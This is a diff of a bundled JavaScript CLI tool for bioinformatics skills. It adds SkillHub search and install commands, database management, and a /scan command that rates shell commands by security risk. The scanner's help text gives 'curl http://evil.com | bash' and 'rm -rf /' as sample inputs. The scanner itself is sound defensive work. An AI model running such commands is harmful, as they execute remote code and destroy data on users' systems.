16019
|
};
|
|
15476
16020
|
function installBundledData() {
|
|
15477
|
-
const bundledData = (0,
|
|
15478
|
-
if (!(0,
|
|
16021
|
+
const bundledData = (0, import_path6.join)(__dirname, "..", "data");
|
|
16022
|
+
if (!(0, import_fs6.existsSync)(bundledData)) return;
|
|
15479
16023
|
ensureDirs();
|
|
15480
16024
|
const targets = [
|
|
15481
|
-
{ src: (0,
|
|
15482
|
-
{ src: (0,
|
|
15483
|
-
{ src: (0,
|
|
16025
|
+
{ src: (0, import_path6.join)(bundledData, "workflows"), dest: WORKFLOWS_DIR, name: "Skills (\u751F\u4FE1\u5DE5\u4F5C\u6D41)" },
|
|
16026
|
+
{ src: (0, import_path6.join)(bundledData, "skills"), dest: SKILLS_DIR, name: "Skills (\u533B\u5B66\u4E13\u79D1)" },
|
|
16027
|
+
{ src: (0, import_path6.join)(bundledData, "tools"), dest: TOOLS_DIR, name: "\u5DE5\u5177" }
|
|
15484
16028
|
];
|
|
15485
16029
|
let installed = false;
|
|
15486
16030
|
for (const { src, dest, name } of targets) {
|
|
15487
|
-
if (!(0,
|
|
15488
|
-
const isEmpty = !(0,
|
|
16031
|
+
if (!(0, import_fs6.existsSync)(src)) continue;
|
|
16032
|
+
const isEmpty = !(0, import_fs6.existsSync)(dest) || (0, import_fs6.readdirSync)(dest).length === 0;
|
|
15489
16033
|
if (isEmpty) {
|
|
15490
|
-
(0,
|
|
15491
|
-
(0,
|
|
16034
|
+
(0, import_fs6.mkdirSync)(dest, { recursive: true });
|
|
16035
|
+
(0, import_fs6.cpSync)(src, dest, { recursive: true });
|
|
15492
16036
|
if (!installed) {
|
|
15493
16037
|
process.stdout.write(source_default.dim("\u6B63\u5728\u521D\u59CB\u5316\u5185\u7F6E\u6570\u636E...\n"));
|
|
15494
16038
|
installed = true;
|
|
@@ -15555,9 +16099,20 @@ function printHelp() {
|
|
|
15555
16099
|
console.log(source_default.bold.cyan("\u2500\u2500\u2500 \u5DE5\u4F5C\u6D41\u5411\u5BFC \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500"));
|
|
15556
16100
|
console.log(` ${source_default.cyan("/run")} <skill-id> \u4EA4\u4E92\u5F0F\u53C2\u6570\u5411\u5BFC\uFF0C\u81EA\u52A8\u751F\u6210\u5E76\u6267\u884C\u5206\u6790\u811A\u672C`);
|
|
15557
16101
|
console.log(` ${source_default.cyan("/check-env")} [id] \u68C0\u6D4B Skill \u6240\u9700 R/Python \u5305\u662F\u5426\u5DF2\u5B89\u88C5`);
|
|
15558
|
-
console.log(` ${source_default.cyan("/
|
|
16102
|
+
console.log(` ${source_default.cyan("/search")} <\u5173\u952E\u8BCD> \u5728 SkillHub \u641C\u7D22\u5E76\u4E0B\u8F7D\u6280\u80FD ${source_default.dim("[--hub=bgi|clawhub|tencent]")}`);
|
|
16103
|
+
console.log(` ${source_default.cyan("/install")} <url|slug> \u4ECE GitHub \u6216 SkillHub \u5B89\u88C5 Skill\uFF08\u542B\u5B89\u5168\u626B\u63CF\uFF09`);
|
|
15559
16104
|
console.log(` ${source_default.cyan("/uninstall")} <id> \u5378\u8F7D\u5DF2\u5B89\u88C5\u7684\u7B2C\u4E09\u65B9 Skill`);
|
|
15560
16105
|
console.log();
|
|
16106
|
+
console.log(source_default.bold.cyan("\u2500\u2500\u2500 \u6570\u636E\u5E93\u7BA1\u7406 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500"));
|
|
16107
|
+
console.log(` ${source_default.cyan("/db list")} \u5217\u51FA\u5DF2\u6CE8\u518C\u53C2\u8003\u6570\u636E\u5E93`);
|
|
16108
|
+
console.log(` ${source_default.cyan("/db add")} <\u8DEF\u5F84> \u624B\u52A8\u6CE8\u518C\u6570\u636E\u5E93\u8DEF\u5F84\uFF08\u957F\u671F\u4FDD\u5B58\uFF09`);
|
|
16109
|
+
console.log(` ${source_default.cyan("/db scan")} [\u76EE\u5F55] \u81EA\u52A8\u626B\u63CF\u6587\u4EF6\u7CFB\u7EDF\u67E5\u627E\u5DF2\u77E5\u6570\u636E\u5E93`);
|
|
16110
|
+
console.log(` ${source_default.cyan("/db rm")} <id> \u5220\u9664\u6570\u636E\u5E93\u8BB0\u5F55`);
|
|
16111
|
+
console.log(` ${source_default.cyan("/db download")} [\u540D\u79F0] \u663E\u793A\u6807\u51C6\u6570\u636E\u5E93\u4E0B\u8F7D\u547D\u4EE4`);
|
|
16112
|
+
console.log();
|
|
16113
|
+
console.log(source_default.bold.cyan("\u2500\u2500\u2500 \u5B89\u5168\u626B\u63CF \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500"));
|
|
16114
|
+
console.log(` ${source_default.cyan("/scan")} <\u547D\u4EE4> \u626B\u63CF\u547D\u4EE4\u5B89\u5168\u98CE\u9669 ${source_default.dim("[CRITICAL/HIGH/MEDIUM/LOW]")}`);
|
|
16115
|
+
console.log();
|
|
15561
16116
|
console.log(source_default.bold.cyan("\u2500\u2500\u2500 \u6587\u4EF6 & \u76EE\u5F55 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500"));
|
|
15562
16117
|
console.log(` ${source_default.cyan("/cd")} <\u8DEF\u5F84> \u66F4\u6539\u5DE5\u4F5C\u76EE\u5F55`);
|
|
15563
16118
|
console.log(` ${source_default.cyan("/cwd")} \u663E\u793A\u5F53\u524D\u5DE5\u4F5C\u76EE\u5F55`);
|
|
@@ -15657,10 +16212,10 @@ async function firstRunIfNeeded(rl) {
|
|
|
15657
16212
|
function collectAllSkills() {
|
|
15658
16213
|
const entries = [];
|
|
15659
16214
|
const addFrom = (dir, tag) => {
|
|
15660
|
-
if (!(0,
|
|
15661
|
-
(0,
|
|
16215
|
+
if (!(0, import_fs6.existsSync)(dir)) return;
|
|
16216
|
+
(0, import_fs6.readdirSync)(dir).forEach((f2) => {
|
|
15662
16217
|
try {
|
|
15663
|
-
if ((0,
|
|
16218
|
+
if ((0, import_fs6.statSync)((0, import_path6.join)(dir, f2)).isDirectory()) entries.push({ id: f2, dir, tag });
|
|
15664
16219
|
} catch {
|
|
15665
16220
|
}
|
|
15666
16221
|
});
|
|
@@ -15700,9 +16255,9 @@ async function llmRecommendSkills(userQuery) {
|
|
|
15700
16255
|
const all = collectAllSkills();
|
|
15701
16256
|
const catalogLines = [];
|
|
15702
16257
|
for (const entry of all) {
|
|
15703
|
-
const skillPath = (0,
|
|
15704
|
-
if (!(0,
|
|
15705
|
-
const raw = (0,
|
|
16258
|
+
const skillPath = (0, import_path6.join)(entry.dir, entry.id, "SKILL.md");
|
|
16259
|
+
if (!(0, import_fs6.existsSync)(skillPath)) continue;
|
|
16260
|
+
const raw = (0, import_fs6.readFileSync)(skillPath, "utf8");
|
|
15706
16261
|
const { name, shortDesc } = parseSkillMeta(raw);
|
|
15707
16262
|
const displayName = name || entry.id;
|
|
15708
16263
|
const desc = shortDesc ? ` \u2014 ${shortDesc}` : "";
|
|
@@ -15761,12 +16316,12 @@ async function injectSkill(id, history, injectedSkills, rl, skipConfirm = false)
|
|
|
15761
16316
|
console.log(source_default.dim("\u4F7F\u7528 /sk <\u5173\u952E\u8BCD> \u641C\u7D22"));
|
|
15762
16317
|
return false;
|
|
15763
16318
|
}
|
|
15764
|
-
const skillPath = (0,
|
|
15765
|
-
if (!(0,
|
|
16319
|
+
const skillPath = (0, import_path6.join)(match.dir, match.id, "SKILL.md");
|
|
16320
|
+
if (!(0, import_fs6.existsSync)(skillPath)) {
|
|
15766
16321
|
console.log(source_default.red(`${match.id} \u7F3A\u5C11 SKILL.md`));
|
|
15767
16322
|
return false;
|
|
15768
16323
|
}
|
|
15769
|
-
const content = (0,
|
|
16324
|
+
const content = (0, import_fs6.readFileSync)(skillPath, "utf8");
|
|
15770
16325
|
const { name, shortDesc } = parseSkillMeta(content);
|
|
15771
16326
|
const displayName = name || match.id;
|
|
15772
16327
|
if (!skipConfirm) {
|
|
@@ -15816,9 +16371,9 @@ var FILE_SIZE_LIMIT = 100 * 1024;
|
|
|
15816
16371
|
var DIR_FILE_LIMIT = 20;
|
|
15817
16372
|
function listDirFiles(dirPath) {
|
|
15818
16373
|
try {
|
|
15819
|
-
return (0,
|
|
16374
|
+
return (0, import_fs7.readdirSync)(dirPath).map((f2) => (0, import_path6.join)(dirPath, f2)).filter((p2) => {
|
|
15820
16375
|
try {
|
|
15821
|
-
return (0,
|
|
16376
|
+
return (0, import_fs7.statSync)(p2).isFile();
|
|
15822
16377
|
} catch {
|
|
15823
16378
|
return false;
|
|
15824
16379
|
}
|
|
@@ -15829,7 +16384,7 @@ function listDirFiles(dirPath) {
|
|
|
15829
16384
|
}
|
|
15830
16385
|
function expandSingleFile(resolved) {
|
|
15831
16386
|
try {
|
|
15832
|
-
const stat = (0,
|
|
16387
|
+
const stat = (0, import_fs7.statSync)(resolved);
|
|
15833
16388
|
if (!stat.isFile()) return `[${resolved}: \u4E0D\u662F\u6587\u4EF6]`;
|
|
15834
16389
|
if (stat.size > FILE_SIZE_LIMIT) {
|
|
15835
16390
|
return `
|
|
@@ -15839,7 +16394,7 @@ function expandSingleFile(resolved) {
|
|
|
15839
16394
|
\`\`\`
|
|
15840
16395
|
`;
|
|
15841
16396
|
}
|
|
15842
|
-
const content = (0,
|
|
16397
|
+
const content = (0, import_fs6.readFileSync)(resolved, "utf8");
|
|
15843
16398
|
const lines = content.split("\n");
|
|
15844
16399
|
const preview = lines.length > 150 ? lines.slice(0, 150).join("\n") + `
|
|
15845
16400
|
... (\u5171 ${lines.length} \u884C\uFF0C\u5DF2\u622A\u65AD)` : content;
|
|
@@ -15856,10 +16411,10 @@ ${preview}
|
|
|
15856
16411
|
function expandFileRefs(input) {
|
|
15857
16412
|
return input.replace(/@"([^"]+)"|@'([^']+)'|@([\/\w.*?~:-]+)/g, (match, q1, q2, q3) => {
|
|
15858
16413
|
const rawPath = q1 ?? q2 ?? q3;
|
|
15859
|
-
const expanded = rawPath.replace(/^~/, (0,
|
|
16414
|
+
const expanded = rawPath.replace(/^~/, (0, import_os4.homedir)());
|
|
15860
16415
|
if (rawPath.endsWith("/") || rawPath.endsWith("\\")) {
|
|
15861
|
-
const dirResolved = (0,
|
|
15862
|
-
if (!(0,
|
|
16416
|
+
const dirResolved = (0, import_path6.resolve)(expanded);
|
|
16417
|
+
if (!(0, import_fs6.existsSync)(dirResolved)) return match;
|
|
15863
16418
|
const files = listDirFiles(dirResolved).slice(0, DIR_FILE_LIMIT);
|
|
15864
16419
|
if (files.length === 0) return `[\u76EE\u5F55 ${dirResolved} \u4E3A\u7A7A]`;
|
|
15865
16420
|
const parts = [`
|
|
@@ -15888,8 +16443,8 @@ function expandFileRefs(input) {
|
|
|
15888
16443
|
for (const f2 of matched) parts.push(expandSingleFile(f2));
|
|
15889
16444
|
return parts.join("\n");
|
|
15890
16445
|
}
|
|
15891
|
-
const resolved = (0,
|
|
15892
|
-
if (!(0,
|
|
16446
|
+
const resolved = (0, import_path6.resolve)(expanded);
|
|
16447
|
+
if (!(0, import_fs6.existsSync)(resolved)) return match;
|
|
15893
16448
|
return expandSingleFile(resolved);
|
|
15894
16449
|
});
|
|
15895
16450
|
}
|
|
@@ -15898,11 +16453,11 @@ function snapshotWorkdir(dir) {
|
|
|
15898
16453
|
function walk(d2, depth = 0) {
|
|
15899
16454
|
if (depth > 3) return;
|
|
15900
16455
|
try {
|
|
15901
|
-
for (const entry of (0,
|
|
16456
|
+
for (const entry of (0, import_fs6.readdirSync)(d2)) {
|
|
15902
16457
|
if (entry.startsWith(".") || entry === "node_modules") continue;
|
|
15903
|
-
const full = (0,
|
|
16458
|
+
const full = (0, import_path6.join)(d2, entry);
|
|
15904
16459
|
try {
|
|
15905
|
-
const st2 = (0,
|
|
16460
|
+
const st2 = (0, import_fs6.statSync)(full);
|
|
15906
16461
|
if (st2.isDirectory()) {
|
|
15907
16462
|
walk(full, depth + 1);
|
|
15908
16463
|
} else {
|
|
@@ -15937,7 +16492,7 @@ function saveConversation(history, filename) {
|
|
|
15937
16492
|
}
|
|
15938
16493
|
const now = /* @__PURE__ */ new Date();
|
|
15939
16494
|
const stamp = now.toISOString().slice(0, 16).replace("T", "-").replace(":", "-");
|
|
15940
|
-
const outPath = (0,
|
|
16495
|
+
const outPath = (0, import_path6.resolve)(filename || `bgicli-chat-${stamp}.md`);
|
|
15941
16496
|
const lines = [`# BGI CLI \u5BF9\u8BDD\u8BB0\u5F55
|
|
15942
16497
|
`, `> \u5BFC\u51FA\u65F6\u95F4: ${now.toLocaleString("zh-CN")}
|
|
15943
16498
|
`];
|
|
@@ -15956,7 +16511,7 @@ ${msg.content}
|
|
|
15956
16511
|
`);
|
|
15957
16512
|
}
|
|
15958
16513
|
}
|
|
15959
|
-
(0,
|
|
16514
|
+
(0, import_fs6.writeFileSync)(outPath, lines.join("\n"), "utf8");
|
|
15960
16515
|
console.log(source_default.green(`\u2713 \u5BF9\u8BDD\u5DF2\u4FDD\u5B58: ${outPath}`));
|
|
15961
16516
|
}
|
|
15962
16517
|
var COMPACT_TOKEN_THRESHOLD = 4e4;
|
|
@@ -16299,12 +16854,12 @@ async function handleCommand(input, rl, history, thinkMode, injectedSkills) {
|
|
|
16299
16854
|
console.log(source_default.red(`\u672A\u627E\u5230 Skill: ${targetId}`));
|
|
16300
16855
|
break;
|
|
16301
16856
|
}
|
|
16302
|
-
const skillPath = (0,
|
|
16303
|
-
if (!(0,
|
|
16857
|
+
const skillPath = (0, import_path6.join)(runMatch.dir, runMatch.id, "SKILL.md");
|
|
16858
|
+
if (!(0, import_fs6.existsSync)(skillPath)) {
|
|
16304
16859
|
console.log(source_default.red(`${runMatch.id} \u7F3A\u5C11 SKILL.md`));
|
|
16305
16860
|
break;
|
|
16306
16861
|
}
|
|
16307
|
-
const skillContent = (0,
|
|
16862
|
+
const skillContent = (0, import_fs6.readFileSync)(skillPath, "utf8");
|
|
16308
16863
|
const { name: skillName } = parseSkillMeta(skillContent);
|
|
16309
16864
|
const paramsMatch = skillContent.match(/##\s*(?:必要参数|Required Parameters|参数)[\s\S]*?(?=\n##|$)/i);
|
|
16310
16865
|
const paramsSection = paramsMatch?.[0] ?? "";
|
|
@@ -16342,7 +16897,7 @@ ${paramSummary}
|
|
|
16342
16897
|
console.log(source_default.dim("\n \u6B63\u5728\u751F\u6210\u5E76\u6267\u884C\u5206\u6790\u811A\u672C...\n"));
|
|
16343
16898
|
try {
|
|
16344
16899
|
const runCfg = loadConfig();
|
|
16345
|
-
const reply = await chat(history, runCfg,
|
|
16900
|
+
const reply = await chat(history, runCfg, systemPrompt);
|
|
16346
16901
|
history.push({ role: "assistant", content: reply });
|
|
16347
16902
|
} catch (err) {
|
|
16348
16903
|
console.error(source_default.red(`\u6267\u884C\u5931\u8D25: ${err instanceof Error ? err.message : String(err)}`));
|
|
@@ -16363,9 +16918,9 @@ ${paramSummary}
|
|
|
16363
16918
|
break;
|
|
16364
16919
|
}
|
|
16365
16920
|
for (const entry of skillsToCheck) {
|
|
16366
|
-
const sp = (0,
|
|
16367
|
-
if (!(0,
|
|
16368
|
-
const content = (0,
|
|
16921
|
+
const sp = (0, import_path6.join)(entry.dir, entry.id, "SKILL.md");
|
|
16922
|
+
if (!(0, import_fs6.existsSync)(sp)) continue;
|
|
16923
|
+
const content = (0, import_fs6.readFileSync)(sp, "utf8");
|
|
16369
16924
|
const { name } = parseSkillMeta(content);
|
|
16370
16925
|
console.log(source_default.bold(`
|
|
16371
16926
|
\u68C0\u6D4B ${name || entry.id} \u7684\u4F9D\u8D56\u73AF\u5883:`));
|
|
@@ -16417,21 +16972,124 @@ ${paramSummary}
|
|
|
16417
16972
|
}
|
|
16418
16973
|
break;
|
|
16419
16974
|
}
|
|
16420
|
-
// ── /
|
|
16975
|
+
// ── /search SkillHub ─────────────────────────────────────────────────────
|
|
16976
|
+
case "search": {
|
|
16977
|
+
if (!arg) {
|
|
16978
|
+
console.log("\u7528\u6CD5: /search <\u5173\u952E\u8BCD> [--hub=bgi|clawhub|tencent]");
|
|
16979
|
+
console.log(source_default.dim("\u793A\u4F8B: /search rnaseq"));
|
|
16980
|
+
console.log(source_default.dim(" /search \u86CB\u767D\u8D28\u7ED3\u6784\u9884\u6D4B --hub=tencent"));
|
|
16981
|
+
console.log(source_default.dim(" /search genomics --hub=clawhub"));
|
|
16982
|
+
console.log(source_default.dim("\n\u9ED8\u8BA4\u641C\u7D22 BGI \u5185\u7F51 SkillHub (http://172.16.218.40:8080)"));
|
|
16983
|
+
break;
|
|
16984
|
+
}
|
|
16985
|
+
let hubKey = "bgi";
|
|
16986
|
+
const hubMatch = arg.match(/--hub=(\w+)/);
|
|
16987
|
+
const query = arg.replace(/--hub=\w+/g, "").trim();
|
|
16988
|
+
if (hubMatch) {
|
|
16989
|
+
const hk = hubMatch[1];
|
|
16990
|
+
if (hk in SKILLHUB_HUBS) hubKey = hk;
|
|
16991
|
+
else {
|
|
16992
|
+
console.log(source_default.red(`\u672A\u77E5 hub: ${hubMatch[1]}\uFF0C\u53EF\u9009: bgi, clawhub, tencent`));
|
|
16993
|
+
break;
|
|
16994
|
+
}
|
|
16995
|
+
}
|
|
16996
|
+
if (!query) {
|
|
16997
|
+
console.log(source_default.yellow("\u8BF7\u63D0\u4F9B\u641C\u7D22\u5173\u952E\u8BCD"));
|
|
16998
|
+
break;
|
|
16999
|
+
}
|
|
17000
|
+
const hubLabel = SKILLHUB_HUBS[hubKey].label;
|
|
17001
|
+
process.stdout.write(source_default.dim(`\u6B63\u5728\u641C\u7D22 ${hubLabel} SkillHub: "${query}"...
|
|
17002
|
+
`));
|
|
17003
|
+
try {
|
|
17004
|
+
const results = await searchSkillHub(query, hubKey, 10);
|
|
17005
|
+
if (results.length === 0) {
|
|
17006
|
+
console.log(source_default.yellow(` \u672A\u627E\u5230\u76F8\u5173 Skill\uFF0C\u8BF7\u5C1D\u8BD5\u5176\u4ED6\u5173\u952E\u8BCD`));
|
|
17007
|
+
break;
|
|
17008
|
+
}
|
|
17009
|
+
_lastSearchResults = results;
|
|
17010
|
+
console.log(source_default.bold(`
|
|
17011
|
+
\u641C\u7D22\u7ED3\u679C (${hubLabel}) \u2014 \u5171 ${results.length} \u4E2A:
|
|
17012
|
+
`));
|
|
17013
|
+
results.forEach((s2, i2) => {
|
|
17014
|
+
const ver = s2.version ? source_default.dim(` v${s2.version}`) : "";
|
|
17015
|
+
const owner = s2.owner ? source_default.dim(` @${s2.owner}`) : "";
|
|
17016
|
+
console.log(` ${source_default.cyan(`[${i2 + 1}]`)} ${source_default.bold(s2.name)}${owner}${ver}`);
|
|
17017
|
+
console.log(` ${source_default.dim(s2.summary.substring(0, 90))}${s2.summary.length > 90 ? "\u2026" : ""}`);
|
|
17018
|
+
console.log(` ${source_default.dim(`slug: ${s2.slug}`)}`);
|
|
17019
|
+
console.log();
|
|
17020
|
+
});
|
|
17021
|
+
console.log(source_default.dim(`\u5B89\u88C5: /install <slug> \u6216 /install <\u5E8F\u53F7> (\u5982: /install 1)`));
|
|
17022
|
+
} catch (e2) {
|
|
17023
|
+
console.log(source_default.red(`\u641C\u7D22\u5931\u8D25: ${e2 instanceof Error ? e2.message : String(e2)}`));
|
|
17024
|
+
}
|
|
17025
|
+
break;
|
|
17026
|
+
}
|
|
17027
|
+
// ── /install from GitHub or SkillHub ──────────────────────────────────────
|
|
16421
17028
|
case "install": {
|
|
16422
17029
|
if (!arg) {
|
|
16423
|
-
console.log("\u7528\u6CD5: /install <github-url>");
|
|
17030
|
+
console.log("\u7528\u6CD5: /install <github-url | slug | \u641C\u7D22\u5E8F\u53F7>");
|
|
16424
17031
|
console.log(source_default.dim("\u793A\u4F8B: /install https://github.com/user/my-skill"));
|
|
16425
|
-
console.log(source_default.dim(" /install user/repo
|
|
17032
|
+
console.log(source_default.dim(" /install user/repo (GitHub \u7B80\u5199)"));
|
|
17033
|
+
console.log(source_default.dim(" /install personal-genomics (SkillHub slug)"));
|
|
17034
|
+
console.log(source_default.dim(" /install 2 (\u641C\u7D22\u7ED3\u679C\u5E8F\u53F7)"));
|
|
17035
|
+
break;
|
|
17036
|
+
}
|
|
17037
|
+
let installArg = arg;
|
|
17038
|
+
const searchNum = /^\d+$/.test(installArg) ? parseInt(installArg, 10) : 0;
|
|
17039
|
+
if (searchNum > 0 && _lastSearchResults.length > 0) {
|
|
17040
|
+
if (searchNum > _lastSearchResults.length) {
|
|
17041
|
+
console.log(source_default.red(`\u5E8F\u53F7 ${searchNum} \u8D85\u51FA\u8303\u56F4\uFF08\u5171 ${_lastSearchResults.length} \u4E2A\u7ED3\u679C\uFF09`));
|
|
17042
|
+
break;
|
|
17043
|
+
}
|
|
17044
|
+
const picked = _lastSearchResults[searchNum - 1];
|
|
17045
|
+
console.log(source_default.dim(`\u4ECE\u641C\u7D22\u7ED3\u679C\u5B89\u88C5: ${picked.name} (${picked.slug})`));
|
|
17046
|
+
installArg = picked.slug;
|
|
17047
|
+
}
|
|
17048
|
+
const isGitHub = installArg.includes("github.com") || installArg.includes("gitlab") || installArg.includes("bitbucket") || /^[^/]+\/[^/]+$/.test(installArg);
|
|
17049
|
+
if (!isGitHub && !installArg.startsWith("http")) {
|
|
17050
|
+
const slug = installArg.trim();
|
|
17051
|
+
const installTarget2 = (0, import_path6.join)(SKILLS_DIR, slug);
|
|
17052
|
+
if ((0, import_fs6.existsSync)(installTarget2)) {
|
|
17053
|
+
console.log(source_default.yellow(`Skill "${slug}" \u5DF2\u5B58\u5728\uFF0C\u5982\u9700\u66F4\u65B0\u8BF7\u5148 /uninstall ${slug}`));
|
|
17054
|
+
break;
|
|
17055
|
+
}
|
|
17056
|
+
process.stdout.write(source_default.dim(`\u6B63\u5728\u4ECE SkillHub \u4E0B\u8F7D Skill: ${slug}...
|
|
17057
|
+
`));
|
|
17058
|
+
try {
|
|
17059
|
+
const skillMdContent = await downloadSkillMd(slug);
|
|
17060
|
+
const skillScan = scanSkillMd(skillMdContent);
|
|
17061
|
+
if (skillScan.criticalCount > 0) {
|
|
17062
|
+
console.log(source_default.red(`
|
|
17063
|
+
\u26D4 \u5B89\u5168\u626B\u63CF\u53D1\u73B0 ${skillScan.criticalCount} \u4E2A CRITICAL \u98CE\u9669\uFF0C\u5DF2\u62D2\u7EDD\u5B89\u88C5`));
|
|
17064
|
+
console.log(source_default.dim(` \u4F7F\u7528 /scan \u547D\u4EE4\u68C0\u67E5\u5177\u4F53\u5185\u5BB9`));
|
|
17065
|
+
break;
|
|
17066
|
+
}
|
|
17067
|
+
(0, import_fs6.mkdirSync)(installTarget2, { recursive: true });
|
|
17068
|
+
(0, import_fs6.writeFileSync)((0, import_path6.join)(installTarget2, "SKILL.md"), skillMdContent, "utf8");
|
|
17069
|
+
const { name: name2, shortDesc: shortDesc2 } = parseSkillMeta(skillMdContent);
|
|
17070
|
+
console.log(source_default.green(`\u2713 SkillHub Skill \u5B89\u88C5\u6210\u529F!`));
|
|
17071
|
+
console.log(` ID: ${source_default.cyan(slug)}`);
|
|
17072
|
+
console.log(` \u540D\u79F0: ${name2 || slug}`);
|
|
17073
|
+
if (shortDesc2) console.log(` \u529F\u80FD: ${source_default.dim(shortDesc2)}`);
|
|
17074
|
+
if (skillScan.highCount > 0) console.log(source_default.yellow(` \u26A0 \u5305\u542B ${skillScan.highCount} \u4E2A HIGH \u98CE\u9669\u547D\u4EE4\uFF0C\u8BF7\u786E\u8BA4\u6765\u6E90\u53EF\u4FE1`));
|
|
17075
|
+
console.log(source_default.dim(` \u4F7F\u7528 /sk ${slug} \u52A0\u8F7D`));
|
|
17076
|
+
} catch (e2) {
|
|
17077
|
+
const msg = e2 instanceof Error ? e2.message : String(e2);
|
|
17078
|
+
if (msg === "not_found") {
|
|
17079
|
+
console.log(source_default.red(`SkillHub \u672A\u627E\u5230 "${slug}"\uFF0C\u8BF7\u5148\u7528 /search \u641C\u7D22\u786E\u8BA4 slug`));
|
|
17080
|
+
} else {
|
|
17081
|
+
console.log(source_default.red(`\u4E0B\u8F7D\u5931\u8D25: ${msg}`));
|
|
17082
|
+
}
|
|
17083
|
+
}
|
|
16426
17084
|
break;
|
|
16427
17085
|
}
|
|
16428
|
-
let repoUrl =
|
|
17086
|
+
let repoUrl = installArg;
|
|
16429
17087
|
if (!repoUrl.startsWith("http")) {
|
|
16430
17088
|
repoUrl = `https://github.com/${repoUrl}`;
|
|
16431
17089
|
}
|
|
16432
17090
|
const repoName = repoUrl.replace(/\.git$/, "").split("/").pop() ?? "unknown-skill";
|
|
16433
|
-
const installTarget = (0,
|
|
16434
|
-
if ((0,
|
|
17091
|
+
const installTarget = (0, import_path6.join)(SKILLS_DIR, repoName);
|
|
17092
|
+
if ((0, import_fs6.existsSync)(installTarget)) {
|
|
16435
17093
|
console.log(source_default.yellow(`Skill "${repoName}" \u5DF2\u5B58\u5728\uFF0C\u5982\u9700\u66F4\u65B0\u8BF7\u5148 /uninstall ${repoName}`));
|
|
16436
17094
|
break;
|
|
16437
17095
|
}
|
|
@@ -16443,13 +17101,13 @@ ${paramSummary}
|
|
|
16443
17101
|
console.log(source_default.red(`\u5B89\u88C5\u5931\u8D25: ${cloneResult.output || cloneResult.error}`));
|
|
16444
17102
|
break;
|
|
16445
17103
|
}
|
|
16446
|
-
const skillMdPath = (0,
|
|
16447
|
-
if (!(0,
|
|
17104
|
+
const skillMdPath = (0, import_path6.join)(installTarget, "SKILL.md");
|
|
17105
|
+
if (!(0, import_fs6.existsSync)(skillMdPath)) {
|
|
16448
17106
|
console.log(source_default.red(`\u5B89\u88C5\u5931\u8D25: ${repoName} \u7F3A\u5C11 SKILL.md \u6587\u4EF6`));
|
|
16449
17107
|
await executeTool("bash", { command: `rm -rf "${installTarget}"` });
|
|
16450
17108
|
break;
|
|
16451
17109
|
}
|
|
16452
|
-
const content = (0,
|
|
17110
|
+
const content = (0, import_fs6.readFileSync)(skillMdPath, "utf8");
|
|
16453
17111
|
const { name, shortDesc } = parseSkillMeta(content);
|
|
16454
17112
|
console.log(source_default.green(`\u2713 Skill \u5B89\u88C5\u6210\u529F!`));
|
|
16455
17113
|
console.log(` ID: ${source_default.cyan(repoName)}`);
|
|
@@ -16463,8 +17121,8 @@ ${paramSummary}
|
|
|
16463
17121
|
console.log("\u7528\u6CD5: /uninstall <skill-id>");
|
|
16464
17122
|
break;
|
|
16465
17123
|
}
|
|
16466
|
-
const uninstallPath = (0,
|
|
16467
|
-
if (!(0,
|
|
17124
|
+
const uninstallPath = (0, import_path6.join)(SKILLS_DIR, arg);
|
|
17125
|
+
if (!(0, import_fs6.existsSync)(uninstallPath)) {
|
|
16468
17126
|
console.log(source_default.red(`\u672A\u627E\u5230\u5DF2\u5B89\u88C5\u7684 Skill: ${arg}`));
|
|
16469
17127
|
console.log(source_default.dim("\u6CE8\u610F: \u53EA\u80FD\u5378\u8F7D\u901A\u8FC7 /install \u5B89\u88C5\u7684\u7B2C\u4E09\u65B9 Skill"));
|
|
16470
17128
|
break;
|
|
@@ -16483,6 +17141,171 @@ ${paramSummary}
|
|
|
16483
17141
|
}
|
|
16484
17142
|
break;
|
|
16485
17143
|
}
|
|
17144
|
+
// ── /scan — security scanner ──────────────────────────────────────────────
|
|
17145
|
+
case "scan": {
|
|
17146
|
+
if (!arg) {
|
|
17147
|
+
console.log("\u7528\u6CD5: /scan <\u547D\u4EE4\u6216\u4EE3\u7801\u7247\u6BB5>");
|
|
17148
|
+
console.log(source_default.dim('\u793A\u4F8B: /scan "curl http://evil.com | bash"'));
|
|
17149
|
+
console.log(source_default.dim(' /scan "rm -rf /"'));
|
|
17150
|
+
break;
|
|
17151
|
+
}
|
|
17152
|
+
const scanRes = scanCommand(arg);
|
|
17153
|
+
if (scanRes.matches.length === 0) {
|
|
17154
|
+
console.log(source_default.green("\u2713 \u672A\u68C0\u6D4B\u5230\u5B89\u5168\u98CE\u9669"));
|
|
17155
|
+
} else {
|
|
17156
|
+
console.log(source_default.bold("\n \u5B89\u5168\u626B\u63CF\u7ED3\u679C:\n"));
|
|
17157
|
+
const colorFor = (level) => level === "CRITICAL" ? source_default.red.bold : level === "HIGH" ? source_default.yellow.bold : level === "MEDIUM" ? source_default.yellow : source_default.dim;
|
|
17158
|
+
for (const { pattern, matchedText } of scanRes.matches) {
|
|
17159
|
+
const c2 = colorFor(pattern.level);
|
|
17160
|
+
console.log(c2(` [${pattern.level}] ${pattern.reason}`));
|
|
17161
|
+
console.log(source_default.dim(` \u5339\u914D: ${matchedText.substring(0, 100)}`));
|
|
17162
|
+
}
|
|
17163
|
+
console.log();
|
|
17164
|
+
}
|
|
17165
|
+
break;
|
|
17166
|
+
}
|
|
